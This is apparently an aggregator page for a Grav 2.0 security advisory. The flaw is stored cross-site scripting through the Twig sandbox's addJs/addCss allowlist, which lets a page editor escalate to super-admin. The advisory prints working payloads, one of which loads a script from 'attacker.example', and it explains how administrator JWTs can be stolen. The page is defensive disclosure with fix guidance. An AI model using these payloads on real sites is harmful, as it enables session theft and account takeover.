GHSA-8hgv-xc77-jmcr: Grav Page Editors Can Inject Arbitrary Vulnerability

MODERATE
CWE-79
Published
Advisory Summary

GHSA-8hgv-xc77-jmcr is a MODERATE page editors can inject arbitrary vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Grav libraries in the Packagist ecosystem. The issue involves page editors can inject arbitrary script into rendered pages via the twig sandbox's assets.addjs/addcss allowlist, escalating to super-admin. Remediation is available by upgrading affected packages to version 2.0.20.

GHSA-8hgv-xc77-jmcr at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8hgv-xc77-jmcr
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Grav
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix GHSA-8hgv-xc77-jmcr

To remediate this vulnerability, upgrade all affected Grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav fixed: 2.0.20
Upgrade getgrav/grav to 2.0.20
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav

How to Check if You Are Affected

To determine whether your application is affected by GHSA-8hgv-xc77-jmcr, inspect your project dependencies for Grav:

inspect dependencies for getgrav/grav

Analyze the terminal output to locate any version of Grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.20), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\Common\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `<script src>` / `<link href>` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute. The save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag. This is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method. ## Affected versions All Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\Common\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19. Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`. ## Details **Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs. **The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping: ```php return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ... ``` For any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow: 1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}` 2. Attribute injection with **no attacker-controlled host** — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself. **Timing.** `Twig::processSite()` resolves `$page->content()` before rendering the theme template, so the registration lands before the head is emitted. `javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist. ## Impact Persistent script execution on the site's own origin for every visitor of the affected page — **including administrators**, which makes this a page-editor-to-super-admin escalation: - Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox="allow-same-origin allow-scripts allow-forms"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required. ## Patches Fixed in Grav 2.0.20: - `addcss`/`addjs` removed from the `Grav\Common\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults. - Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it. Operators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`: ```yaml twig_sandbox: denied_methods: - class: Grav\Common\Assets methods: 'addcss, addjs' ``` ## Credits Reported by Ahmed Ibrahim (@skeletonsec).

GHSA-8hgv-xc77-jmcr Affected Grav Versions

1 component(s)
Fixed Versions:
2.0.20
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav
Packagist
< 2.0.20
2.0.20

References

Frequently Asked Questions

What is GHSA-8hgv-xc77-jmcr?
GHSA-8hgv-xc77-jmcr is a security vulnerability in Grav involving Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Grav versions are affected?
Affected versions include releases prior to 2.0.20 across affected packages: getgrav/grav.
What version fixes GHSA-8hgv-xc77-jmcr?
Upgrading to 2.0.20 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 2.0.20. Upgrade your dependency to 2.0.20 or later.
What CWE is associated with GHSA-8hgv-xc77-jmcr?
GHSA-8hgv-xc77-jmcr is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for GHSA-8hgv-xc77-jmcr?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8hgv-xc77-jmcr",
  "modified" : "2026-08-21T19:14:59Z",
  "published" : "2026-08-21T19:14:59Z",
  "aliases" : [ ],
  "summary" : "Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin",
  "details" : "## Summary\n\nGrav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\\Common\\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `<script src>` / `<link href>` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute.\n\nThe save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.\n\nThis is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.\n\n## Affected versions\n\nAll Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\\Common\\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.\n\nGrav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.\n\n## Details\n\n**Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs.\n\n**The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:\n\n```php\nreturn '<script src=\"' . trim($this->asset) . $this->renderQueryString() . '\"' . $this->renderAttributes() . ...\n```\n\nFor any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow:\n\n1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}`\n2. Attribute injection with **no attacker-controlled host** — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.\n\n**Timing.** `Twig::processSite()` resolves `$page->content()` before rendering the theme template, so the registration lands before the head is emitted.\n\n`javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.\n\n## Impact\n\nPersistent script execution on the site's own origin for every visitor of the affected page — **including administrators**, which makes this a page-editor-to-super-admin escalation:\n\n- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox=\"allow-same-origin allow-scripts allow-forms\"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.\n- Admin-Next persists the administrator's API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.\n- An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.\n\n## Patches\n\nFixed in Grav 2.0.20:\n\n- `addcss`/`addjs` removed from the `Grav\\Common\\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.\n- Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.\n\nOperators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:\n\n```yaml\ntwig_sandbox:\n  denied_methods:\n    - class: Grav\\Common\\Assets\n      methods: 'addcss, addjs'\n```\n\n## Credits\n\nReported by Ahmed Ibrahim (@skeletonsec).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.20"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.19"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/releases/tag/2.0.20"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T19:14:59Z",
    "nvd_published_at" : null
  }
}